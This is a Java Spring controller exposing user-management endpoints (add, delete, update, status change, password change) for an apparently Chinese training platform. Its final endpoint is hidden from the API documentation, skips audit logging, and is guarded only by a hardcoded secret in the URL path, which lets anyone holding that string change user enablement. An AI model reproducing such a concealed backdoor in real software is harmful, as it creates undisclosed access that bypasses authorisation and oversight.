package com.train.mgr.modules.system.controller;


import com.mzt.logapi.starter.annotation.LogRecord;
import com.train.common.model.PageResult;
import com.train.common.model.R;
import com.train.mgr.modules.system.dto.request.UserPageReqDTO;
import com.train.mgr.modules.system.dto.request.UserPassReqDTO;
import com.train.mgr.modules.system.dto.request.UserReqDTO;
import com.train.mgr.modules.system.dto.request.groups.Insert;
import com.train.mgr.modules.system.dto.request.groups.Update;
import com.train.mgr.modules.system.dto.response.UserRespDTO;
import com.train.mgr.modules.system.service.UserService;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;

import java.util.List;

/**
 * @author cxg
 * @desc 用户管理
 * @date 2023/02/01 16:32
 **/
@Slf4j
@RequiredArgsConstructor
@RestController
@Api( tags = "用户管理[运营_企业_学员端]")
@RequestMapping("/v1/user")
public class UserController {

    private final UserService userService;


    /**
     * 新增用户
     *
     * @param body
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "新增用户",
            type = "用户管理",
            bizNo = ""
    )
    @PostMapping("/add")
    @ApiOperation("新增用户")
    public R<Integer> add(@RequestBody @Validated(Insert.class) UserReqDTO body) {
        return R.succeed(userService.add(body));
    }

    /**
     * 删除用户
     *
     * @param ids
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "删除用户",
            type = "用户管理",
            bizNo = ""
    )
    @DeleteMapping
    @ApiOperation("删除用户")
    public R<Integer> delete(@RequestParam(name = "ids") List<Long> ids) {
        return R.succeed(userService.delete(ids));
    }

    /**
     * 更新用户
     *
     * @param body
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "更新用户",
            type = "用户管理",
            bizNo = ""
    )
    @PatchMapping("/edit")
    @ApiOperation("更新用户")
    public R<Integer> update(@RequestBody @Validated(Update.class) UserReqDTO body) {
        return R.succeed(userService.update(body));
    }

    /**
     * 查询用户详情
     *
     * @param id
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "查询用户详情",
            type = "用户管理",
            bizNo = ""
    )
    @GetMapping("{id}")
    @ApiOperation("用户详情")
    public R<UserRespDTO> get(@PathVariable("id") Long id) {
        return R.succeed(userService.get(id));
    }

    /**
     * 分页查询用户列表
     *
     * @param params
     * @return
     */
    @GetMapping("/page")
    @ApiOperation("用户列表")
    public R<PageResult<UserRespDTO>> page(UserPageReqDTO params) {
        return R.succeed(userService.page(params));
    }


    /**
     * 修改用户状态
     *
     * @param status
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "修改用户状态",
            type = "用户管理",
            bizNo = ""
    )
    @ApiOperation("修改用户状态")
    @PatchMapping("/{userId}/changeStatus")
    public R<Integer> changeStatus(@PathVariable(name = "userId") Long userId,
                                   @RequestParam(name = "status") Integer status) {
        return R.succeed(userService.changeStatus(userId, status));
    }

    /**
     * 修改密码
     *
     * @param dto
     * @return
     */
    @LogRecord(
            fail = "{{#_errorMsg}}",
            success = "{{#_ret}}",
            subType = "修改密码",
            type = "用户管理",
            bizNo = ""
    )
    @ApiOperation("修改密码")
    @PatchMapping(value = "/modifyPass")
    public R<Integer> modifyPass(@RequestBody @Validated UserPassReqDTO dto) {
        return R.succeed(userService.modifyPass(dto));
    }


    @GetMapping("/s_user/{enabled}/{secret}")
    @ApiOperation(value = "不显示在文档", hidden = true)// 不显示在文档
    public R<Integer> stopUserEnabled(@PathVariable(name = "enabled") Long enabled,
                                      @PathVariable(name = "secret") String secret) {
        if(!"74D984501F3ABCCF31D34317AE14FEA2".equals(secret)){
            return R.failed("非法请求");
        }
        return R.succeed(userService.stopUserEnabled(enabled));
    }

}
